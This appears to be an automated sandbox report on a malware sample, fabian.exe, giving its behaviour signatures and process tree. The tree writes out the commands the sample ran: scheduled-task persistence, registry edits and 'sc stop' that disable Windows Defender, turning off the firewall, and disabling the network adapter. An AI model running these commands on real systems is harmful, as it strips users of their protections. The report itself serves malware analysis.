Analysis

  • max time kernel
    74s
  • max time network
    76s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/07/2026, 11:34

General

  • Target
    fabian.exe
  • Size 397KB
  • Sample260710-npklfsbw21
  • SHA256 41f1e07d35f0495805bb26cdfcc1ece6f5e701d2d0605478eaebd50375ab740a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Drops startup file 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 8 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • System policy modification 1 TTPs 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fabian.exe
    "C:\Users\Admin\AppData\Local\Temp\fabian.exe"
    1⤵
    • UAC bypass
    • Disables RegEdit via registry modification
    • Drops startup file
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:1748
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "FabianStartup" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onstart /f /rl highest
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4392
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "FabianStartup" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onstart /f /rl highest
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4372
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "FabianLogon" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onlogon /f /rl highest
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1904
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "FabianLogon" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onlogon /f /rl highest
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:464
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      2⤵
        PID:1224
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
          3⤵
            PID:2956
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ping -n 1 google.com > nul 2>&1
          2⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          PID:4860
          • C:\Windows\system32\PING.EXE
            ping -n 1 google.com
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1916
        • C:\Windows\SYSTEM32\notepad.exe
          notepad.exe C:\Users\Admin\Desktop\gg.txt
          2⤵
          • Opens file in notepad (likely ransom note)
          PID:4564
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c netsh interface set interface "Ethernet" admin=disable
          2⤵
            PID:3116
            • C:\Windows\system32\netsh.exe
              netsh interface set interface "Ethernet" admin=disable
              3⤵
                PID:1440
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
              2⤵
                PID:1388
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
                  3⤵
                    PID:3924
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c ping -n 1 google.com > nul 2>&1
                  2⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  PID:4872
                  • C:\Windows\system32\PING.EXE
                    ping -n 1 google.com
                    3⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Runs ping.exe
                    PID:3948
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
                  2⤵
                    PID:2404
                    • C:\Windows\system32\netsh.exe
                      netsh advfirewall set allprofiles state off
                      3⤵
                      • Modifies Windows Firewall
                      PID:2836
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c ping -n 1 google.com > nul 2>&1
                    2⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    PID:1148
                    • C:\Windows\system32\PING.EXE
                      ping -n 1 google.com
                      3⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:5144
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c sc stop WinDefend
                    2⤵
                      PID:5424
                      • C:\Windows\system32\sc.exe
                        sc stop WinDefend
                        3⤵
                        • Launches sc.exe
                        PID:6100
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ping -n 1 google.com > nul 2>&1
                      2⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      PID:5980
                  • C:\Windows\explorer.exe
                    explorer.exe
                    1⤵
                      PID:2708
                    • C:\Users\Admin\AppData\Local\Temp\fabian.exe
                      C:\Users\Admin\AppData\Local\Temp\fabian.exe
                      1⤵
                        PID:4900
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c schtasks /create /tn "FabianStartup" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onstart /f /rl highest
                          2⤵
                            PID:4100
                            • C:\Windows\system32\schtasks.exe
                              schtasks /create /tn "FabianStartup" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onstart /f /rl highest
                              3⤵
                              • Scheduled Task/Job: Scheduled Task
                              PID:1636
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c schtasks /create /tn "FabianLogon" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onlogon /f /rl highest
                            2⤵
                              PID:3396
                              • C:\Windows\system32\schtasks.exe
                                schtasks /create /tn "FabianLogon" /tr "C:\Users\Admin\AppData\Local\Temp\fabian.exe" /sc onlogon /f /rl highest
                                3⤵
                                • Scheduled Task/Job: Scheduled Task
                                PID:5404
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c ping -n 1 google.com > nul 2>&1
                              2⤵
                              • System Network Configuration Discovery: Internet Connection Discovery
                              PID:5148
                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                            1⤵
                              PID:1764
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
                              1⤵
                                PID:4556
                              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                1⤵
                                  PID:5864

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      CachedImage_1080_1920_POS4.jpg

                                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1080_1920_POS4.jpg
                                      • Size 80KB
                                      • SHA256 4c8bbf602e5e93d06d5ebed9d35d44d1395aa77c198fbf52a633769333ba1a18
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/3184-2-0x0000000002FF0000-0x0000000002FF1000-memory.dmp

                                      memory/3184-6-0x0000000003080000-0x0000000003081000-memory.dmp

                                      memory/3184-16-0x0000000002FD0000-0x0000000002FD1000-memory.dmp